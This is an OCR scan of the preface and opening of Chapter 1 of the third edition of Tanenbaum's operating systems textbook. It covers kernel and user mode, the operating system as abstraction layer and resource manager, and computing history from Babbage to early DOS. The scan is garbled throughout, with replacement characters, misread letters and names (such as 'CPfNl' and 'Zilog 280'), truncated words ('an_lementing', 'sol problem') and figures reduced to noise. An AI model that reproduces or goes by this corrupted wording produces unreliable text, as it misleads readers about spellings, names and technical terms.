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PREFACE 

The third edition of  this book differs from the second edition in numero
.
us 

ways. To start with, the chapters have been reordered to place th� central matenal 
at the beginning. There is also now m�re of a focus on �e operatmg �ystem as the 
creator of abstractions. Chapter 1, WhICh has been heaVily updated, mtroduces all 
the concepts. Chapter 2 is about the a�straction o� the CPU i�to multiple 
processes. Chapter 3 is about the abstractIon of physI�al memory

. 
mt� ad�ess 

spaces (virtual memory). Chapter 4 is about the abstractIon of the dlsk mto fIles. 
Together, processes, virtual address spaces, and files are the key

. 
concepts that op

erating systems provide, so these chapters are now placed earlIer than they pre-
viously had been. 

. Chapter 1 has been heavily modifie� and updated m many place�. For exa�
pIe, an introduction to the C programmmg language and the C run-time model IS 
oiven for readers familiar only with Java. 
l:> In Chapter 2, the discussion of threads has been revised and expa?ded reflect
ing their new importance. Among other things, there is now a sectIon on IEEE 
standard Pthreads. 

Chapter 3, on memory management, has been reorganized to
. 
emphasize the 

idea that one of the key functions of an operating system is to proVide the abstrac
tion of a virtual address space for each process. Older material on memory 
manaoement in batch systems has been removed, and the material on the imple
ment:r.ion of paging has been updated to focus on the need to make it handle the 
larger address spaces now common and also the need for speed. 
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Chapters 4-7 have been updated, with older material removed and some new 
material added. The sections on current research in these chapters have been 
rewritten from scratch. Many new problems and programming exercises have 
been added. 

Chapter 8 has been updated, including some material on multicore systems. 
A whole new sec�ion on virtualization technology, hypervisors, and virtual 
machines, has been added with VMware used as an example. 

Chapter 9 has been heavily revised and reorganized, with considerable new 
material on exploiting code bugs, malware, and defenses against them. 

Chapter 10, on Linux, is a revision of the old Chapter 10 (on UNIX and 
Linux). The focus is clearly on Linux now, with a great deal of new material. 

Chapter 11, on Windows Vista, is a major revision of the old Chap. 11 (on 
Windows 2000). It brings the treatment of Windows completely up to date. 

Chapter 12 is new. I felt that embedded operating systems, such as those 
found on cell phones and PDAs, are neglected in most textbooks, despite the fact 
that there are more of them out there than there are PCs and notebooks. This edi
tion remedies this problem, with an extended discussion of Symbian OS, which is 
widely used on Smart Phones. 

Chapter 13, on operating system design, is largely unchanged from the second 
edition. 

Numerous teaching aids for this book are available. Instructor sUI'plements 
can be found at www.prenhall.comltanenbaum. They include PowerPoint sheets, 
software tools for studying operating systems, lab experiments for students, simu
lators, and more material for use in operating systems courses. Instructors using 
this book in a course should definitely take a look. 

In addition, instructors should examine GOAL (Gradiance Online Accelerated 
Learning), Pearson's premier online homework and assessment system. GOAL is 
designed to minimize student frustration while providing an interactive teaching 
experience outside the classroom. With GOAL's immediate feedback, hints, and 
pointers that map back to the textbook, students will have a more efficient and 
effective learning experience. GOAL delivers immediate assessment and feed
back via two kinds of assignments: multiple choice Homework exercises and 
interactive Lab work. 

The multiple-Choice homework consists of a set of multiple choice questions 
designed to test student knowledge of a solved problem. When answers are graded 
as incorrect, students are given a hint and directed back to a specific section in the 
course textbook for helpful infonnation. 

The interactive Lab Projects in GOAL, unlike syntax checkers and compilers, 
check for both syntactic and semantic errors. GOAL deterinines if the student's 
program runs but more importantly, when checked against a hidden data set, veri
fies that it returns the correct result. By testing the code and providing immediate 
feedback, GOAL lets you know exactly which concepts the students have grasped 
and which ones need to be revisited. 
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Instructors should contact their local Pearson Sales Representative for sales 
and ordering infonnation for the GOAL Student Access Code and Modem 
Operating Systems, 3e Value Pack (ISBN: 0135013011). 

A number of people helped me with this revision. First and foremost I want 
to thank my editor, Tracy Dunkelberger. This is my 18th book and I have worn 
out a lot of editors in the process. Tracy went above and beyond the call of duty 
on this one, doing things like finding contributors, arranging numerous reviews, 
helping with all the supplements, dealing with contracts, interfacing to PH, coor
dinating a great deal of parallel processing, generally making sure things happen
ed on time, and more. She also was able to get me to make and keep to a very 
tight schedule in order to get this book out in time. And all this while she remain
ed chipper and cheerful, despite many other demands on her time. Thank you, 
Tracy. I appreciate it a lot. 

Ada Gavrilovska of Georgia Tech, who is an expert on Linux internals, 
updated Chap. 10 from one on UNIX (with a focus on FreeBSD) to one more 
about Linux, although much of the chapter is still generic to aU UNIX systems. 
Linux is more popular among students than FreeBSD, so this is a valuable change. 

Dave Probert of Microsoft updated Chap. 11 from one On Windows 2000 to 
one on Windows Vista. While they have some similarities, they also have signifi
cant differences. Dave has a great deal of knowledge of Windows and enough 
vision to tell the difference between places where Microsoft got it right and where 
it got it wrong. The book is much better as a result of his work. 

Mike Jipping of Hope College wrote the chapter On Symbian OS. Not having 
anything on embedded real-time systems was a serious omission in the book, and 
thanks to Mike that problem has been solved. Embedded real-time systems are 
becoming increasingly important in the world and this chapter provides an excel
lent introduction to the subject 

Unlike �a, Dave, and Mike, who each focused on one chapter, Shivakant 
Mishra of the University of Colorado at Boulder was more like a distributed sys
tem, reading and commenting on many chapters and also supplying a substantial 
number of new exercises and programming problems throughout the book. 

Hugh Lauer also gets a special mention. When we asked him for ideas about 
how to revise the second edition, we weren't expecting a report of 23 single
spaced pages, but that is what we got. Many of the changes, such as the new em
phasis on the abstractions of processes, address spaces, and flies are due to his in
put. 

I would also like to thank other people who helped me in many ways, includ
ing suggesting new topiCS to cover, reading the manuscript carefully, making sup
plements, and contributing new exercises. Among them are Steve Armstrong, Jef
frey Chastine, John Connelly, Mischa Geldennans, Paul Gray, James Griffioen, 
Jorrit Herder, Michael Howard, Suraj Kothari, Roger Kraft, Trudy Levine, John 
Masiyowski, Shivakant Mishra, Rudy Pait, Xiao Qin, Mark Russinovich, Krishna 
Sivalingam, Leendert van Doorn, and Ken Wong. 

PREFACE xxvii 

. 
Th

.
e peo�le at P:entice Hall have been friendly and helpful as always, espe

cmlly rnc1udl�g Irwm Zu�ker and Scott Disanno in production and David Alick, 
ReeA

.
nne DaVIes, and Melmda Haggerty in editorial. 

F�nal1y, �ast but not least, Barbara and Marvin are still wonderful, as usual 
each 10 a uruque an� special way. And of course, I would like to thank Suzann� 
for her love a�d patlence, n�t to mention all the druiven and kersen, which have 
replaced the smaasappeisap III recent times. 

Andrew S. Tanenbaum 
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1 
INTRODUCTION 

. 
A m�dern computer consists of one or mOre processors, some main memory, 

dIsks, pnnters, a keyboard, a mouse, a display, network interfaces, and various 
other input/output devices. All in all, a complex system. If every application pro
grammer had to understand how all these things work in detail, no code would 
ever get written. Furthermore, managing all these components and using them 
optimally is an exceedingly challenging job. For this reason, computers are 
equipped with a layer of software called the operating system, whose job is to 
provide user programs with a better, simpler, cleaner, model of the computer and 
to handle managing all the resources just mentioned. These systems are the sub
ject of this book. 

Most readers will have had some experience with an operating system such as 
Windows, Linux, FreeBSD, or Max OS X, but appearances can be deceiving. The 
program that users interact with, usually called the shell when it is text based and 
the �UI (�raphical User Interface)-which is pronounced "gooey"- when it �ses Icons, IS act�ally not part of the operating system although it uses the operat
mg system to get Its work done. 

. A simple overview of the main components under discQssi6n here is given in 
FIg. 1-1 . . Here we see the hardware at the bottom. The hardware consists of chips, 
boards, dISks, a keyboard, a monitor, and similar physical objects. On top of the 
hardware is the software. Most computers have two modes of operation: kernel 
mode and user mode. The operating system is the most fundamental piece of soft
ware and runs in kernel mode (also called supervisor mode). In this mode it has 

1 
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complete access to all the hardware and can execute 
,
any instructio� the �achine 

is capable of executing. The rest of the software runs m u�er mode, m 
.
whlch ?uly 

a subset of the machine instructions is available. In partIcular, those Instructions 
that affect control of the machine or do I/O (Input/Output) are forbidden to user
mode programs. We will come back to the difference between kernel mode and 
user mode repeatedly throughout this book. 

User mode { 1--�u::
s
::
er
-i
n
-
t
-
er
t:::
a
::",'-pr

-
og

-"':;'m"---1 Software 

Kernel mode { Operating system } Hardware 
Figure I-I. Where the operating system fits in. 

The user interface program, shell or GUI, is the lowest level of user-mode 
software, and allows the user to start other programs, such as a Web browser, e
mail reader, or music player. These programs, too, make heavy use of the operat
ing system. 

The placement of the operating system is shown in Fig. 1-1. It runs on the 
bare hardware and provides the base for all the other software. 

An important distinction between the operating system
. 

and norma� 
.
(user

mode) software is that if a user does not like a particular e-mail reader, heT �s fr�e 
to get a different one or write his own if he so chooses

.
; he is not free :0 wnte hIS 

own clock interrupt handler, which is part of the operatmg system and IS protected 
by hardware against attempts by users to modify it. 

. 
This distinction, however, is sometimes blurred in embedded systems (whIch 

may not have kernel mode) or interpreted systems (such as Java-based operating 
systems that use interpretation, not hardware, to separate the components). . 

Also, in many systems there are programs that run in user mode but WhIC
.
h 

help the operating system or perform privileged functions. For �xarnple, th�re 1S 
often a program that allows users to change their passwords. Thl� program IS �ot 
part of the operating system and does not run in kernel mode, but It clearly carrIes 
out a sensitive function and has to be protected in a special way. In some sys
tems, this idea is carried to an extreme form, and pieces of what is traditionally 

t "He" should be read as "he or she" throughout the book. 
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considered to be the operating system (such as the file system) run in user space. 
In such systems, it is difficult to draw a clear boundary. Everything running in 
kernel mode is clearly part of the operating system, but some programs running 
outside it are arguably-also part of it, or at least closely associated with it. 

Operating systems differ from user (i.e., application) programs in ways other 
than where they reside. In particular, they are huge, complex, and long-lived. 
The source code of an operating system like Linux or Windows is on the order of 
five million lines of code. To conceive of what this means, think of printing out 
five million lines in book form, with 50 lines per page and 1000 pages per volume 
(larger than this book). It would take 100 volumes to list an operating system of 
this Size-essentially an entire bookcase. Can you imagine getting a job maintain
ing an operating system and on the first day having your boss bring you to a book 
case with the code and say: "Go learn that." And this is only for the part that runs 
in the kernel. User programs like the GUI, libraries, and basic application soft
ware (things like Windows Explorer) can easily run to 10 or 20 times that amount. 

It should be clear now why operating systems live a long time-they are very 
hard to write, and having written one, the owner is loath to throw it out and start 
again. Instead, they evolve over long periods of time. Windows 95/98/Me was 
basically one operating system and Windows NTI2000/XPNista is a different 
one. They look similar to the users because Microsoft made very sure that the user 
interface of Windows 20001XP was quite similar to the system it was replacing, 
mostly Windows 98. Nevertheless, there were very good reasons why Microsoft 
got rid of Windows 98 and we will come to these when we study Windows in de
tail in Chap. I L 

The other main example we will use throughout this book (besides Windows) 
is UNIX and its variants and clones. It, too, has evolved over the years, with ver
sions like System V, Solaris, and FreeBSD being derived from the original sys
tem, whereas Linux is a fresh code base, although very closely modeled on UNIX 
and highly compatible with it. We will use examples from UNIX throughout this 
book and look at Linux in detail in Chap. 10. 

In this chapter we will touch on a number of key aspects of operating systems, 
briefly, including what they are, their history, what kinds are around, some of the 
basic concepts, and their structure. We will corne back to many of these impor
tant topics in later chapters in more detaiL 

1.1 WHAT IS AN OPERATING SYSTEM? 

It is hard to pin down what an operating system is other than saying it is the 
software that runs in kernel mode-and even that is not always true. Part of the 
problem is that operating systems perform two basically unrelated functions: pro
viding application programmers (and application programs, naturally) a clean 
abstract set of resources instead of the messy hardware ones and managing these 
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hardware resources. Depending on who is doing the talking, you might hear 
mostly about one function or the other. Let us now look at both. 

1.1.1 The Operating System as an Extended Machine 

The architecture (instruction set, memory organization, I/O, and bus struc
ture) of most computers at the machine language level is primitive and awkward 
to program, especially for input/output To make this point more �oncrete, con
sider how floppy disk lIO is done using the NEe PD765 compatIble controller 
chips used on most Intel-based personal computers. (Throughout this book we 
will use the terms "floppy disk" and "diskette" interchangeably.) We use the 
floppy disk as an example, because, although it is obsolete, it is much simpler 
than a modern hard disk. The PD765 has 16 commands, each specified by loading 
between I and 9 bytes into a device register. These commands are for reading and 
writing data, moving the disk arm, and formatting tracks, as well as. initializing, 
sensing, resetting, and recalibrating the controller and the drives. 

The most basic commands are read and write, each of which requires 13 pa
rameters, packed into 9 bytes. These parameters specify such items as th� address 
of the disk block to be read, the number of sectors per track, the recordmg mode 
used on the physical medium, the intersector gap spacing, and what to do with a 
deleted-data-address-mark. If you do not understand this mumbo jumbo, do not 
worry; that is precisely the point-it is rather esoteric. When the operation is com
pleted, the controller chip returns 23 status and error fields packed into 7 bytes. 
As if this were not enough, the floppy disk programmer must also be constantly 
aware of whether the motor is on or off. If the motor is off, it must be turned on 
(with a long startup delay) before data can be read or written. The motor cann�t 
be left on too long, however, or the floppy disk will wear out. The programmer IS 
thus forced to deal with the trade-off between long startup delays versus wearing 
out floppy disks (and losing the data on them). 

Without going into the real details, it should be clear that the average pro
grammer probably does not want to get too intimately involved with the pro
gramming offIoppy disks (or hard disks, which are worse). Instead, what the pro
grammer wants is a simple, high-level abstraction to deal with. In the case of 
disks, a typical abstraction would be that the disk contains a collection of named 
files. Each file can be opened for reading or writing, then read or written, and fi
nally closed. Details such as whether or not recording should use modified fre
quency modulation and what the current state of the motor is should not appear in 
the abstraction presented to the application programmer. 

Abstraction is the key to managing complexity. Good abstractions turn a 
nearly impossible task into two manageable ones. The first one of these is defin
ing an_lementing the abstractions. The second one is using these abstractions 
to sol problem at hand. One abstraction that almost every computer user 
understan s is the file. It is a useful piece of information, such as a digital photo, 
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saved e-mail message, or Web page. Dealing with photos, e-mails, and Web pages 
is easier than the detailS of disks, such as the floppy disk described above. The job 
of the operating system is to create good abstractions and then implement and 
manage the abstract objects thus created. In this book, we will talk a lot about ab
stractions. They are one of the keys to understanding operating systems. 

This point is so .important that it is worth repeating in different words. With 
all due respect to the industrial engineers who designed the Macintosh, hardware 
is ugly. Real processors, memories, disks, and other devices are very complicated 
and present difficult, awkward, idiosyncratic, and inconsistent interfaces to the 
people who have to write software to use them. Sometimes this is due to the need 
for backward compatibility with older hardware, sometimes due to a desire to 
save money, but sometimes the hardware designers do not realize (or care) how 
much trouble they are causing for the software. One of the major tasks of the op
erating system is to hide the hardware and present programs (and their pro
grammers) with nice, clean, elegant, consistent, abstractions to work with instead. 
Operating systems turn the ugly into the beautiful, as shown in Fig. 1-2. 

Application programs 

f-'io.!_-'.'lld!l.'t:;·""L_�-.!E:L-':�:'l':._ -+- Beautiful interface 
Operating system 

Figure 1·2. Operating systems tum ugly hardware into beautiful abstractions. 

It should be noted that the operating system's real customers are the applica
tion programs (via the application programmers, of course). They are the ones 
who deal directly with the operating system and its abstractions. In contrast, end 
users deal with the abstractions provided by the user intelface, either a command
line shell or a graphical interface. While the abstractions at the user interface may 
be similar to the ones provided by the operating system, this is not always the 
case. To make this point clearer, consider the normal Windows desktop and the 
line-oriented command prompt. Both are programs running on the Windows oper
ating system and use the abstractions Windows provides, but they offer very dif
ferent user interfaces. Similarly, a Linux user running Gnome or KDE sees a very 
different interface than a Linux user working directly on top of the underlying 
(text-oriented) X Window System, but the underlying operating system abstrac
tions are the same in both cases. 



6 INTRODUCTION CHAP. I 

In this book, we will study the abstractions provided to application programs 
in great detail, but say rather little about user interfaces. That is a large and impor
tant subject, but one only peripherally related to operating systems. 

1.1.2 The Operating System as a Resource Manager 

The concept of an operating system as primarily providing abstractions to ap
plication programs is a top-down view. An alternative, bottom-up, view holds 
that the operating system is there to manage all the pieces of a complex system. 
Modern computers consist of processors, memories, timers, disks, mice, network 
interfaces, plinters, and a wide variety of other devices. In the alternative view, 
the job of the operating system is to provide for an orderly and controlled alloca
tion of the processors, memories, and VO devices among the various programs 
competing for them. 

Modern operating systems allow multiple programs to run at the same time. 
Imagine what would happen if three programs running on some computer all tried 
to print their output simultaneously on the same printer. The first few lines of 
printout might be from program 1, the next few from program 2, then some from 
program 3, and so forth. The result would be chaos. The operating system can 
bring order to the potential chaos by buffering all the output destined for the print
er on the disk. When one program is finished, the operating system can then copy 
its output from the disk file where it has been stored for the primer, while at the 
same time the other program can continue generating more output, oblivious to 
the fact that the output is not really going to the printer (yet). 

When a computer (or network) has multiple users, the need for managing and 
protecting the memory, 1/0 devices, and other resources is even greater, since the 
users might otherwise interfere with one another. In addition, users often need to 
share not only hardware, but information (files, databases, etc.) as well. In short, 
this view of the operating system holds that its primary task is to keep track of 
which programs are using which resource, to grant resource requests, to account 
for usage, and to mediate conflicting requests from different programs and users. 

Resource management includes multiplexing (sharing) resources in two dif
ferent ways: in time and in space. When a resource is time multiplexed, different 
programs or users take turns using it. First one of them gets to use the resource, 
then another, and so on. For example, with only one CPU and multiple programs 
that want to run on it, the operating system first allocates the CPU to one program, 
then, after it has run long enough, another one gets to use the CPU, then another, 
and then eventually the first one again. Determining how the resource is time mul
tiplexed-who goes next and for how long-is the task of the operating system. 
Another example of time multiplexing is sharing the printer. When mUltiple print 
jobs are queued up for printing on a single printer, a decision has to be made 
about which one is to be printed next. " 
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. 
The other kind of multiplexing is space multiplexing. Instead of the Customers 

takmg turn
.
s,

. 
each one gets part of the resource. For example, main memory is 

normally dIVIded up among several running programs, so each one can be resident 
at the 

.
same time (for example, in order to take turns using the CPU). Assuming 

there IS enough memory to hold multiple programs, it is more efficient to hold 
s�vera! �rograms in.memory at once rather than give one of them all of it, espe
cIally If It only needs a small fraction of the total. Of course, this raises issues of 
fairness, protection, and so on, and it is up to the operating system to solve them. �nothe� resource that is space mUltiplexed is the (hard) disk. In many systems a 
smgle dl�k can hold files f�om :nany users at the Same time. Allocating disk space 
and keepmg track of who IS USlOg which disk blocks is a typical operating system 
resource management task. 

1.2 HISTORY OF OPERATING SYSTEMS 

?perating .syst�ms have been evolving through the years. In the following 
secllon

.
s w� wIll bnefly look at a few of the highlights. Since operating systems 

have hlStoncal�y been closely tied to the architecture of the computers on which 
the� run, we wIll look at successive generations of computers to see what their op
eratmg systems were like. This mapping of operating system generations to com
puter generations is crude, but it does provide some structure where there would 
otherwise be none. 

. 
The progression given below is largely chronological, but it has been a bumpy 

nde: Each development did not wait until the previous one nicely finished before 
gettmg started. There was a lot of overlap, not to mention many false starts and 
dead ends. Take this as a guide, not as the last word. 

The first true digital computer was designed by the English mathematician 
Charles Babbage (1792-1871). Although Babbage spent most of his life and for
tune tr.ying to build his "an�lytical engine," he never got it working properly be� 
cause It .was purely mechamcal, and the technology of his day could not produce 
the reqUIred wheels, gears, and cogs to the high precision that he needed. Need
less to say,. the analytical engine did not have an operating system. 

As an mteresting historical aside, Babbage realized that he would need soft
ware for his analytical engine, so he hired a young woman named Ada Lovelace 
who was the daughter of the famed British poet Lord Byron, as the world's firs; 
programmer. The programming language Ada ® is named after her. 

1.2.1 The First Generation (1945-55) Vacuum Tubes 

. . 
After Babbage" s unsuccessful efforts. little progress was made in constructing 

dIgItal computers untll Wor�d War II, which stimUlated an explosion of activity. 
Prof. John Atanasoff and hIS graduate student Clifford Berry built what is now 
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recrarded as the first functioning digital computer at Iowa State University_ It used 
300 vacuum tubes. At about the same time, Konrad Zuse in Berlin built the Z3 
computer out of relays. In 1944, the Colossus was built by a group at Bletchley 
Park, England, the Mark I was built by Howard Aiken at Harvard, and the ENIAC 
was built by William Mauchley and his graduate student J. Presper Eckert at the 
University of Pennsylvania. Some were binary, some used vacuum tubes, some 
were programmable, but all were very primitive and took seconds to perform even 
the simplest calculation. 

. . In these early days, a single group of people (usually engmeers) desIgned, 
built, programmed, operated, and maintained each machine . . �..u programm�ng w�s 
done in absolute machine language, or even worse yet, by WIfIng up electncal CIr
cuits by connecting thousands of cables to plugboards to control the machine's 
basic functions. Programming languages were unknown (even assembly langu�ge 
was unknown). Operating systems were unheard of. The usual mode of operatlon 
was for the programmer to sign up for a block of time using the signup shee� on 
the wall, then come down to the machine room, insert his or her plugboard mto 
the computer, and spend the next few hours hoping that none of the 20,000 o� so 
vacuum tubes would bum out during the run. Virtually all the problems were SIm
ple straightforward numerical calculations, such as grinding out tables of sines, 
cosines, and logarithms. . . . 

By the early 1950s, the routine had improved somewhat WIth the mtroductton 
of punched cards. It was now possible to write programs on cards and read them 
in instead of using plugboards; otherwise, the procedure was the same. 

1.2.2 The Second Generation (1955-65) Transistors and Batch Systems 

The introduction of the transistor in the mid-1950s changed the picture radi
cally. Computers became reliable enough :hat they could be manu.factured and 
sold to paying customers with the expectatIOn that they would ,?ontmue to func
tion long enough to get some useful work done. For the first time, there w.as a 
clear separation between designers, builders, operators, programmers, and mamte-
nance personnel. . . . 

These machines, noW called mainframes, were locked away m speCIally alr
conditioned computer rooms, with staffs of professional operators to run them. 
Only large corporations or major government agencies or universities could afford 
the multimillion-dollar price tag. To run a job (i.e., a program or set of pro
o-rams) a proarammer would first write the program on paper (in FORTRAN or :ssembler), then punch it on cards. He would then bring the card deck down to 
the input room and hand it to one of the operators and go drink coffee until the 
output was ready. 

. When the computer finished whatever job it was currently mnmng, an opera
tor would go over to the printer and tear off the output and carry it over to the out
put room, so that the programmer could collect it later. Then he would take one of 
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the card decks that had been brought from the input room and read i t  in. If the 
FORTRAN compiler was needed, the operator would have to get it from a file 
cabinet and read it in. Much computer time was wasted while operators were 
walking around the machine room. 

Given the high cost of the equipment, it is not surprising that people quickly 
looked for ways to reduce the wasted time. The solution generally adopted was 
the batch system. The idea behind it was to collect a tray full of jobs in  the input 
room and then read them onto a magnetic tape using a small (relatively) inexpen
sive computer, such as 'the IBM 1401, which was quite good at reading cards, 
copying tapes, and printing output, but not at all good at numerical calculations. 
Other, much more expensive machines, such as the IBM 7094, were used for the 
real computing. This situation is shown in Fig. 1-3. 

(aJ (bJ (c) 

System 
tape 

1111111111111111111111 
7094 

(d) 

IIIIIIIIIIIIIIIIII!III 
1401 

(e) (f) 

Figure 1-3. An early batch system. (a) Programmers bring cards to 1401. (b) 
1401 reads batch of jobs onto tape. (c) Operator carnes input tape to 7094. (d) 
7094 does computing. (e) Operator carries output tape to 1401. (f) 1401 prints 
output. 

After about an hour of collecting a batch of jobs, the cards were read onto a 
magnetic tape, which was carried into the machine room, where it was mounted 
on a tape drive. The operator then loaded a special program (the ancestor of 
today's operating system), which read the first job from tape and ran it. The out
put was written onto a second tape, instead of being printed. After each job fin
ished, the operating system automatically read the next job from the tape and 
began running it. When the whole batch was done, the operator removed the input 
and output tapes, replaced the input tape with the next batch, and brought the out
put tape to a 1401 for printing off line (i.e., not connected to the main computer). 

The structure of a typical input job is shown in  Fig. 1-4. It started out with a 
SlOB card, specifying the maximum run time in minutes, the account number to 
be charged, and the programmer' s name. Then came a $FORTRAN card, telling 
the operating system to load the FORTRAN compiler from the system tape. It 
was directly followed by the program to be compiled, and then a $LOAD card, di
recting the operating system to load the object program just compiled. (Compiled 
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programs were often written on scratch tapes and had to be loaded explicitly.) 
Next came the $RUN card, telling the operating system to run the program with 
the data following it. Finally, the $END card marked the end of the jOb. These 
primitive control cards were the forerunners of modern shells and command-line 
interpreters. 

/$END 

Data for program 

/$RUN � /$LOAD 

Fortran program 
� 

� /$FORTRAN � 
/SJOB, 10,6610802, MARVIN TANENBAUM 

f-'--

Figure 1-4. Structure of a typical FMS job. 

Large second-generation computers were used mostly for scientific and en
gineering calculations, such as solving the partial differential equations that often 
occur in physics and engineering. They were largely programmed in FORTRAN 
and assembly language. Typical operating systems were FMS (the Fortran Moni
tor System) and IBSYS, IBM's operating system for the 7094. 

1.2.3 The Third Generation (1965-1980) Ies and Multiprogramming 

By the early 1960s, most computer manufacturers had two distinct, incompati
ble, product lines. On the one hand there were the word-oriented, large-scale 
scientific computers, such as the 7094, which were used for numerical calcula
tions in science and engineering. On the other hand, there were the character
oriented, commercial computers, such as the 1401, which were widely used for 
tape sorting and printing by banks and insurance companies. 

With the introduClion of the IBM Syslem/360, "5h lsed ICs (Integrated Cir
cuits), IBM combmed these two machme types mt "Ie senes of compatIble 
machines. The lineal descendant of the 360, the zSer . is still widely used for 
high-end server applications with massive data bases. One bf the many 
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innova�ions on the 360 was multiprogramming, the ability to have several pro
grams 1fl memory at once, each in its OWn memory partition, as shown in Fio-. 1-5. 
While one job was waiting for I/O to complete, another job could be usi�g the 
CPU. Special hardware kept one program from interfering with another. 

Job 3 

Job2 

Job 1 

Operating 
system 

Memory 
partitions 

Figure 1-5. A multiprogramming system with three jobs in memory. 

. . 
Another m�jor feature present in third-generation operating systems was the 

abIlIty to read Jobs from cards Onto the disk as Soon as they were brought to the 
computer room. Then, whenever a running job finished, the operating system 
could load a new job from the disk into the now-empty partition and run it. This 
technique is called spOOling (from Simultaneous Peripheral Operation On Line) 
and was also used for output. With spooling, the 1401s were no long!.:!r needed, 
and much carrying of tapes disappeared. 

. 
Althoug� third-generati?ll operating systems were well suited for big scien

tlfi� calculatIOns and m�slve commercial data processing runs, they were still 
basl�ally �atch systems WIth turnaround times of an hour. Programming is diffi
cu�t If a mlsplac�d comma wastes an hour. This desire of many programmers for 
q�lck :espo�se tIme paved the way for timesharing, a variant of multiprogram
mmg, III whIch each user has an online tenninaL In a timesharing system, if 20 
users are logged in and 17 of them are thinking or talking or drinking coffee, the 
CPU c� be allocated in tu� to the three jobs that want service. Since people 
debugg

,
mg programs usually Issue short commands (e.g., compile a five-page pro

cedu�eT) rath�r thanJong o�es (e.g., sort a million-record file), the computer can 
provl� fas�, mteractlve servIce to a number of users and perhaps also work on big 
batch Jobs III the background when the CPU is otherwise idle. The first serious 
timesharing syste�, CTSS �<:ompatible Time Sharing System), was developed 
�t M.!.T. on a specIally modIfIed 7094 (Corbat6 et aL, 1962). However, timeshar
Ing dId not really become popular until the necessary protection hardware became 
widespread during the third generation. _ 

After the Success of the CTSS system, M.LT., Bell Labs·, and General Electric 
(then a major computer manufacturer) decided to embark on the development of a 
"c��puter utili�y," a machine that would support Some hundreds of simultaneous 

tWe will use the terms "procedure," "subroutine," and "function:' interchangeably in this book. 
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timesharing users. It was called MULTICS (MULTiplexed Information and 
Computing Service), and was a mixed success. . . . To make a long story short, MULTICS introduced many semmal ldeas mto 
the computer literature, but only about 80 customerS. However, MULTICS users, 
including General Motors, Ford, and the U.S. National Security Agency, were 
fiercely loyal, shutting down their MULTICS systems in the late 1990s, a 30-year 
run. 

For the moment, the concept of a computer utility has fizzled out, but i t  may 
well come back in the form of massive centralized Internet servers to which rela
tively dumb user machines are attached, with most of the work happening on the 
big servers. Web services is a step in this direction. 

Despite its lack of commercial success, MULTICS had a huge influence on 
subsequent operating systems.lt is described in several papers and a book (Cor
bato et a\., 1972; Corbato and Vyssotsky, 1965; Daley and Dennis, 1968; Organ
ick, 1972; and Saltzer, 1974). It also has a still-active Website, located at 
www.multicians.org, with a great deal of information about the system, its de
signers, and its users. 

Another major development during the third generation was the phenomenal 
growth of minicomputers, starting with the DEC PDP-1 in 1961. The PDP-l had 
only 4K of 18-bit words, but at $120,000 per machine (less than 5 percent of the 
price of a 7094), it sold like hotcakes. It was quickly followed by a series of other 
PDPs culminating in the PDP- I I .  

One of the computer scientists at Bell Labs who had worked on the MUL
TICS project, Ken Thompson, subsequently found a small PDP-7 minicoo:puter 
that no one was usin(1 and set out to write a stripped-down, one-user verSIOn of 
MULTICS. This wo;k later developed into the UNIX® operating system, which 
became popular in the academic world, with government agencies, and with many 
companies. 

The history of UNIX has been told elsewhere (e.g., Salus, 1994). Part of that 
story will be given in Chap. 10. For now, suffice it to say, that because the source 
code was widely available, various organizations developed their own (incompati
ble) versions, which led to chaos. Two major versions developed, System V, from 
AT&T, and BSD (Berkeley Software Distribution) from the University of Califor
nia at Berkeley. These had minor variants as wen. To make it possible to write 
programs that could run on any UNIX system, IEEE developed a standard for 
UNIX, called POSIX, that most versions of UNIX now support. POSIX defines a 
minimal system call interface that conformant UNIX systems must support. In 
fact, some other operating systems now also support the POSIX interface. 

As an aside, it is worth mentioning that in 1987, the author released a small 
clone of UNIX, called MINIX, for educational purposes. Functionally, MINIX is 
very similar to UNIX, including POSIX support. Since that time, the original ver
sion has evolved into MINIX 3, which is highly modular and focused on very high 
reliability. It has the ability to detect and replace faulty or even crashed modules 
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(such as I/O device drivers) on the fly without a reboot and without disturbing 
running programs. A book describing its internal operation and listing the source 
code in an appendix is also available (Tanenbaum and Woodhull, 2006). The 
MINIX 3 system is available for free (inclUding all the source code) over the Inter
net at www.minix3.org. 

The desire for a free production (as opposed to educational) version of MINIX 

led a Finnish student, Linus Torvalds, to write Linux. This system was directly 
inspired by and developed on MINIX and originally supported various MINIX fea
tures (e.g., the MINIX file system). It has since been extended in many ways but 
still retains some of underlying structure common to MINIX and to UNIX. 

Readers interested in a detailed history of Linux and the open source movement 
might want to read Glyn Moody's (2001) book. Most of what will be said about 
UNIX in this book thus applies.to System V, MINIX, Linux, and other versions and 
clones of UNIX as well. 

1.2,4 The Fourth Generation (1980-Present) Personal Computers 

With the development of LSI (Large Scale Integration) circuits, chips con
taining thousands of transistors on a square centimeter of silicon, the age of the 
personal computer dawned. In tenns of architecture, personal computers (initially 
called microcomputers) were not all that different from minicompu�rs of the 
PDP-I I  class, but in terms of price they certainly were different. Where the 
minicomputer made it possible for a department in a company or university to 
have its own computer, the microprocessor chip made it possible for a single indi
vidual to have his or her own personal computer. 

In 1974, when Intel came out with the 8080, the first general-purpose 8Nbit 
CPU, it wanted an operating system for the 8080, in part to be able to test it. Intel 
asked one of its consultants, Gary Kildall, to write one. Kiidall and a friend first 
built a control1er for the newly released Shugart Associates 8-inch floppy disk and 
hooked the floppy disk up to the 8080, thus producing the first microcomputer 
with a disk. Kildall then wrote a disk-based operating system called CP/M (Con
trol Program for Microcomputers) for it. Since Intel did not think that disk
based microcomputers had much of a future, when Kildall asked for the rights to 
CP/M, Intel granted his request. Kildall then formed a company, Digital Research, 
to further develop and sell CP/M. 

In 1977, Digital Research rewrote CPfNl to make it suitable for running on the 
many microcomputers using the 8080, Zilog 280, and other CPU chips. Many ap� 
plication programs were written to run on CP/M, allowing it to completely dom
inate the world of microcomputing for about 5 years. 

In the early 1980s, IBM designed the IBM PC and looked around for software 
to run on it. People from IBM contacted Bill Gates to license his BASIC inter
preter. They also asked him if he knew of an operating system to run on the Pc. 
Gates suggested that IBM contact Digital Research, then the world's dominant 



14 INTRODUCTION CHAP. 1 

operating systems company. Making what was surely the worst business decision 
in recorded history, KildaU refused to meet with IBM, sending a subordinate in
stead. To make matters worse, his lawyer even refused to sign IBM's nondisclo
sure agreement covering the not-yet-announced Pc. Consequently, IBM went 
back to Gates asking if he could provide them with an operating system. 

When IBM came back, Gates realized that a local computer manufacturer, 
Seattle Computer Products, had a suitable operating system, DOS (Disk Operat
ing System). He approached them and asked to buy it (allegedly for $75,000), 
